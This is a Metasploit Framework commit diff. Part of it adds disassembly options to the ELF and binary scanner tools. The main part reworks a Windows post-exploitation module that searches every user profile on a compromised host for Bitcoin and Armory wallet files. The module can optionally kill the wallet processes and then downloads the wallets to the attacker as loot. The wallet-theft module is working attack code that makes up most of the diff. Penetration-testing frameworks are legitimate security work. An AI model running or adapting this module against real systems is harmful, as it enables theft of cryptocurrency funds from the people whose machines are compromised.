Merge remote-tracking branch 'metasploit-framework/master' into masked-cred-format-update

lib/rex/elfscan/scanner.rb

@@ -1,4 +1,5 @@
 # -*- coding: binary -*-
+require 'metasm'
 
 module Rex
 module ElfScan
@@ -27,6 +28,26 @@ class Generic
           rva  = hit[0]
           message  = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1]
           $stdout.puts elf.ptr_s(rva) + " " + message
+          if(param['disasm'])
+            message.gsub!("; ", "\n")
+            if message.include?("retn")
+              message.gsub!("retn", "ret")
+            end
+
+            begin
+              d2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, message).disassemble
+            rescue Metasm::ParseError
+              d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, [message].pack('H*'))
+            end
+
+            addr = 0
+            while ((di = d2.disassemble_instruction(addr)))
+              disasm = "0x%08x\t" % (rva + addr)
+              disasm << di.instruction.to_s
+              $stdout.puts disasm
+              addr = di.next_addr
+            end
+          end
         end
       end
 
@@ -203,4 +224,3 @@ end
 end
 end
 end
-

modules/post/windows/gather/bitcoin_jacker.rb

@@ -15,63 +15,99 @@ class Metasploit3 < Msf::Post
 
   def initialize(info={})
     super( update_info( info,
-      'Name'          => 'Windows Gather Bitcoin wallet.dat',
+      'Name'          => 'Windows Gather Bitcoin Wallet',
       'Description'   => %q{
-        This module downloads any Bitcoin wallet.dat files from the target system
+        This module downloads any Bitcoin wallet files from the target
+        system. It currently supports both the classic Satoshi wallet and the
+        more recent Armory wallets. Note that Satoshi wallets tend to be
+        unencrypted by default, while Armory wallets tend to be encrypted by default.
       },
       'License'       => MSF_LICENSE,
-      'Author'        => [ 'illwill <illwill[at]illmob.org>'],
-      'Platform'      => [ 'win' ],
+      'Author'        => [
+        'illwill <illwill[at]illmob.org>', # Original implementation
+        'todb' # Added Armory support
+      ],
+      'Platform'      => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets...
       'SessionTypes'  => [ 'meterpreter' ]
     ))
+
+    register_options([
+      OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', false]),
+    ], self.class)
   end
 
   def run
-    print_status("Checking All Users For Bitcoin Wallet...")
+    print_status("Checking all user profiles for Bitcoin wallets...")
+    found_wallets = false
     grab_user_profiles().each do |user|
-      next if user['AppData'] == nil
-      tmpath= user['AppData'] + "\\Bitcoin\\wallet.dat"
-      jack_wallet(tmpath)
+      next unless user['AppData']
+      bitcoin_wallet_path = user['AppData'] + "\\Bitcoin\\wallet.dat"
+      next unless file?(bitcoin_wallet_path)
+      found_wallets = true
+      jack_wallet(bitcoin_wallet_path)
+      armory_wallet_path = user['AppData'] + "\\Armory"
+      session.fs.dir.foreach(armory_wallet_path) do |fname|
+        next unless fname =~ /\.wallet/
+        found_wallets = true
+        armory_wallet_fullpath = armory_wallet_path + "\\#{fname}"
+        jack_wallet(armory_wallet_fullpath)
+      end
+    end
+    unless found_wallets
+      print_warning "No wallets found, nothing to do."
     end
   end
 
-  def jack_wallet(filename)
+  def jack_wallet(wallet_path)
     data = ""
-    return if not file?(filename)
+    wallet_type = case wallet_path
+                  when /\.wallet$/
+                    :armory
+                  when /wallet\.dat$/
+                    :satoshi
+                  else
+                    :unknown
+                  end
 
-    print_status("Wallet Found At #{filename}")
-    print_status("     Jackin their wallet...")
+    if wallet_type == :unknown
+      print_error "Unknown wallet type: #{wallet_path}, nothing to do."
+      return
+    end
 
-    kill_bitcoin
+    print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")
+    print_status("Jackin' wallet...")
+
+    kill_bitcoin_processes if datastore['KILL_PROCESSES']
 
     begin
-      data = read_file(filename) || ''
+      data = read_file(wallet_path) || ''
     rescue ::Exception => e
-      print_error("Failed to download #{filename}: #{e.class} #{e}")
+      print_error("Failed to download #{wallet_path}: #{e.class} #{e}")
       return
     end
 
     if data.empty?
-      print_error("     No data found")
+      print_error("No data found, nothing to save.")
     else
-      p = store_loot(
-        "bitcoin.wallet",
+      loot_result = store_loot(
+        "bitcoin.wallet.#{wallet_type}",
         "application/octet-stream",
         session,
         data,
-        filename,
-        "Bitcoin Wallet"
+        wallet_path,
+        "Bitcoin Wallet (#{wallet_type.to_s.capitalize})"
       )
-      print_status("     Wallet Jacked: #{p.to_s}")
+      print_status("Wallet jacked: #{loot_result}")
     end
   end
 
-  def kill_bitcoin
-    client.sys.process.get_processes().each do |x|
-      if x['name'].downcase == "bitcoin.exe"
-        print_status("     #{x['name']} Process Found...")
-        print_status("     Killing Process ID #{x['pid']}...")
-        session.sys.process.kill(x['pid']) rescue nil
+  def kill_bitcoin_processes
+    client.sys.process.get_processes().each do |process|
+      pname = process['name'].downcase
+      if pname == "bitcoin.exe" || pname == "bitcoind.exe" || pname == "armoryqt.exe"
+        print_status("#{process['name']} Process Found...")
+        print_status("Killing Process ID #{process['pid']}...")
+        session.sys.process.kill(process['pid'])
       end
     end
   end

msfbinscan

@@ -112,7 +112,7 @@ opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase
   param['imagebase'] = opt2i(t)
 end
 
-opt.on('-D', '--disasm', 'Disassemble the bytes at this address          [PE]') do |t|
+opt.on('-D', '--disasm', 'Disassemble the bytes at this address          [PE|ELF]') do |t|
   param['disasm'] = true
 end
 

msfelfscan

@@ -82,6 +82,10 @@ opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)')
   param['before'] = opt2i(t)
 end
 
+opt.on('-D', '--disasm', 'Disassemble the bytes at this address') do |t|
+  param['disasm'] = true
+end
+
 opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t|
   param['imagebase'] = opt2i(t)
 end